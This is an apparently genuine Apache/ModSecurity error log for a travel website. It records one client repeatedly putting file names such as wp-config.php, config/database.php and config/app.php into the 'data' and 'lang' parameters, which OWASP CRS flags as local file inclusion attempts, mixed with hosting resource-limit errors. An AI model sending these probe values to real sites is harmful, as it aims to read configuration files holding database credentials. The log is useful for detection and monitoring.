[Fri Jul 17 08:55:49.156950 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvRJ0z2bEtnOrIXVAiAAAAAk"]
[Fri Jul 17 08:55:49.157069 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.157359 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvRJ0z2bEtnOrIXVAiAAAAAk"]
[Fri Jul 17 08:55:49.158658 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:data. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:data: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvbEWOaI5pmYo9fnO9QAAAAA"]
[Fri Jul 17 08:55:49.159301 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvbEWOaI5pmYo9fnO9QAAAAA"]
[Fri Jul 17 08:55:49.159411 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.161503 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvbEWOaI5pmYo9fnO9QAAAAA"]
[Fri Jul 17 08:55:49.167292 2026] [ssl:error] [pid 2030774:tid 2030774] (5)Input/output error: [client 66.85.158.91:38372] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:55:49.177946 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:data. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:data: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvfwooI4qY7Jg93pVjAAAABM"]
[Fri Jul 17 08:55:49.178565 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvfwooI4qY7Jg93pVjAAAABM"]
[Fri Jul 17 08:55:49.178692 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.178982 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvfwooI4qY7Jg93pVjAAAABM"]
[Fri Jul 17 08:55:49.183661 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:data. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:data: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvSvekYYQ8uns4MwlmAAAAA0"]
[Fri Jul 17 08:55:49.184340 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvSvekYYQ8uns4MwlmAAAAA0"]
[Fri Jul 17 08:55:49.184485 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.184791 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvSvekYYQ8uns4MwlmAAAAA0"]
[Fri Jul 17 08:55:49.197469 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:data. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:data: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvTsMb3am0TgkjETbFwAAAAo"]
[Fri Jul 17 08:55:49.198131 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvTsMb3am0TgkjETbFwAAAAo"]
[Fri Jul 17 08:55:49.198257 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.198573 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvTsMb3am0TgkjETbFwAAAAo"]
[Fri Jul 17 08:55:49.202837 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.216746 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.217454 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.219074 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.219427 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.240317 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.240764 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.487560 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.491155 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.491541 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.492869 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:lang: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvQ5GPQ6hs4VrfMpBvwAAAAY"]
[Fri Jul 17 08:55:49.493472 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvQ5GPQ6hs4VrfMpBvwAAAAY"]
[Fri Jul 17 08:55:49.493593 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.493799 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.493879 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvQ5GPQ6hs4VrfMpBvwAAAAY"]
[Fri Jul 17 08:55:49.495789 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.495789 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.532428 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:38548] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:55:49.537503 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:lang: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvbEWOaI5pmYo9fnO-AAAAAA"]
[Fri Jul 17 08:55:49.538120 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvbEWOaI5pmYo9fnO-AAAAAA"]
[Fri Jul 17 08:55:49.538228 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.538516 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvbEWOaI5pmYo9fnO-AAAAAA"]
[Fri Jul 17 08:55:49.637272 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:49.641731 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:lang: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvSRF0UOO1RzB5_8uKgAAAA4"]
[Fri Jul 17 08:55:49.642432 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvSRF0UOO1RzB5_8uKgAAAA4"]
[Fri Jul 17 08:55:49.642571 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.642930 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvSRF0UOO1RzB5_8uKgAAAA4"]
[Fri Jul 17 08:55:49.657380 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:lang: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvSvekYYQ8uns4MwlmwAAAA0"]
[Fri Jul 17 08:55:49.657983 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvSvekYYQ8uns4MwlmwAAAA0"]
[Fri Jul 17 08:55:49.658109 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
